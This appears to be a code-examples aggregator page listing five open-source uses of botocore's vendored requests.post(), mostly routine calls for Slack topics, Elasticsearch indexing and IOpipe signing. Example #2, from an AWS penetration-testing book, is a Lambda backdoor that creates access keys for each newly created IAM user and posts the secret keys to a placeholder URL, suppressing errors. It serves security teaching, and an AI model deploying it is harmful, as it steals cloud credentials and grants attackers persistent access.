Python botocore.vendored.requests.post() Examples

The following are 5 code examples of botocore.vendored.requests.post(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module botocore.vendored.requests , or try the search function .
Example #1
Source File: signer.py    From iopipe-python with Apache License 2.0 5 votes vote down vote up
def get_signed_request(config, context, extension):
    """
    Returns a signed request URL from IOpipe

    :param config: The IOpipe config
    :param context: The AWS context to request a signed URL
    :param extension: The extension of the file to sign
    :returns: A signed request URL
    :rtype: str
    """
    url = "https://{hostname}/".format(hostname=get_signer_hostname())

    try:
        logger.debug("Requesting signed request URL from %s", url)
        response = requests.post(
            url,
            json={
                "arn": context.invoked_function_arn,
                "requestId": context.aws_request_id,
                "timestamp": int(time.time() * 1000),
                "extension": extension,
            },
            headers={"Authorization": config["token"]},
            timeout=config["network_timeout"],
        )
        response.raise_for_status()
    except Exception as e:
        logger.debug("Error requesting signed request URL: %s", e)
        if hasattr(e, "response"):
            logger.debug(e.response.content)
    else:
        response = response.json()
        logger.debug("Signed request URL received for %s", response["url"])
        return response 
Example #2
Source File: boto_lambda_source.py    From Hands-On-AWS-Penetration-Testing-with-Kali-Linux with MIT License 5 votes vote down vote up
def lambda_handler(event,context):
    if event['detail']['eventName']=='CreateUser':
        client=boto3.client('iam')
        try:
            response=client.create_access_key(UserName=event['detail']['requestParameters']['userName'])
            requests.post('POST_URL',data={"AKId":response['AccessKey']['AccessKeyId'],"SAK":response['AccessKey']['SecretAccessKey']})
        except:
            pass
    return 
Example #3
Source File: s3-to-es.py    From serverless-s3-to-elasticsearch-ingester with MIT License 5 votes vote down vote up
def indexDocElement(es_Url, awsauth, docData):
    try:
        #headers = { "Content-Type": "application/json" }
        headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
        resp = requests.post(es_Url, auth=awsauth, headers=headers, json=docData)
        if resp.status_code == 201:
            logger.info('INFO: Successfully inserted element into ES')
        else:
            logger.error('FAILURE: Unable to index element')
    except Exception as e:
        logger.error('ERROR: {0}'.format( str(e) ) )
        logger.error('ERROR: Unable to index line:"{0}"'.format( str( docData['content'] ) ) )
        print (e) 
Example #4
Source File: main.py    From pd-oncall-chat-topic with Apache License 2.0 5 votes vote down vote up
def get_slack_topic(channel):
    payload = {}
    payload['token'] = boto3.client('ssm').get_parameters(
        Names=[os.environ['SLACK_API_KEY_NAME']],
        WithDecryption=True)['Parameters'][0]['Value']
    payload['channel'] = channel
    try:
        r = requests.post('https://slack.com/api/conversations.info', data=payload)
        current = r.json()['channel']['topic']['value']
        logger.debug("Current Topic: '{}'".format(current))
    except KeyError:
        logger.critical("Could not find '{}' on slack, has the on-call bot been removed from this channel?".format(channel))
    return current 
Example #5
Source File: main.py    From pd-oncall-chat-topic with Apache License 2.0 4 votes vote down vote up
def update_slack_topic(channel, proposed_update):
    logger.debug("Entered update_slack_topic() with: {} {}".format(
        channel,
        proposed_update)
    )
    payload = {}
    payload['token'] = boto3.client('ssm').get_parameters(
        Names=[os.environ['SLACK_API_KEY_NAME']],
        WithDecryption=True)['Parameters'][0]['Value']
    payload['channel'] = channel

    # This is tricky to get correct for all the edge cases
    # Because Slack adds a '<mailto:foo@example.com|foo@example.com>' behind the
    # scenes, we need to match the email address in the first capturing group,
    # then replace the rest of the string with the address
    # None of this is really ideal because we lose the "linking" aspect in the
    # Slack Topic.
    current_full_topic = re.sub(r'<mailto:([a-zA-Z@.]*)(?:[|a-zA-Z@.]*)>',
            r'\1', get_slack_topic(channel))
    # Also handle Slack "Subteams" in the same way as above
    current_full_topic = re.sub(r'<(?:!subteam\^[A-Z0-9|]*)([@A-Za-z-]*)>', r'\1',
            current_full_topic)
    # Also handle Slack Channels in the same way as above
    current_full_topic = re.sub(r'<(?:#[A-Z0-9|]*)([@A-Za-z-]*)>', r'#\1',
            current_full_topic)

    if current_full_topic:
        # This should match every case EXCEPT when onboarding a channel and it
        # already has a '|' in it. Workaround: Fix topic again and it will be
        # correct in the future
        current_full_topic_delimit_count = current_full_topic.count('|')
        c_delimit_count = current_full_topic_delimit_count - 1
        if c_delimit_count < 1:
            c_delimit_count = 1

        # This rsplit is fragile too!
        # The original intent was to preserve a '|' in the scehdule name but
        # that means multiple pipes in the topic do not work...
        try:
            first_part = current_full_topic.rsplit('|', c_delimit_count)[0].strip()
            second_part = current_full_topic.replace(first_part + " |", "").strip()
        except IndexError:  # if there is no '|' in the topic
            first_part = "none"
            second_part = current_full_topic
    else:
        first_part = "none"
        second_part = "."  # if there is no topic, just add something

    if proposed_update != first_part:
        # slack limits topic to 250 chars
        topic = "{} | {}".format(proposed_update, second_part)
        if len(topic) > 250:
            topic = topic[0:247] + "..."
        payload['topic'] = topic
        r = requests.post('https://slack.com/api/conversations.setTopic', data=payload)
        logger.debug("Response for '{}' was: {}".format(channel, r.json()))
    else:
        logger.info("Not updating slack, topic is the same")
        return None